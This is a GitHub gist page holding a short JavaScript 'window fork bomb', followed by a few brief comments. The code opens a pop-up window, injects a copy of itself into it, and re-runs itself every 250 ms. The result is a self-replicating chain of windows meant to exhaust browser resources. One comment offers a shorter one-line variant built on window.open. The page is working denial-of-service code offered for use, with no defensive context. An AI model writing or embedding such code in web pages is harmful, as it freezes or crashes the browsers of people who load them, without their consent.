Skip to content

Instantly share code, notes, and snippets.

@wlib
Last active June 3, 2023 11:19
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save wlib/073c9bfaac39062853b295afbd3283e5 to your computer and use it in GitHub Desktop.
Save wlib/073c9bfaac39062853b295afbd3283e5 to your computer and use it in GitHub Desktop.
JS window fork bomb
// Make sure to allow pop ups, or your browser will stop the window.open() (thankfully)
function fork() {
const win = window.open();
const script = win.document.createElement("script");
script.innerHTML = fork + "\n" + "fork();";
win.document.head.appendChild(script);
setTimeout(function() {
win.close();
fork();
}, 250)
}
fork();
Copy link

ghost commented May 1, 2021

gj

@AtoLrn
Copy link

AtoLrn commented Mar 11, 2022

🐙

@home-gihub
Copy link

huh

@DrageonDB
Copy link

The simplest line to make your window fork bomb script is: window.open(this.window.location);

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment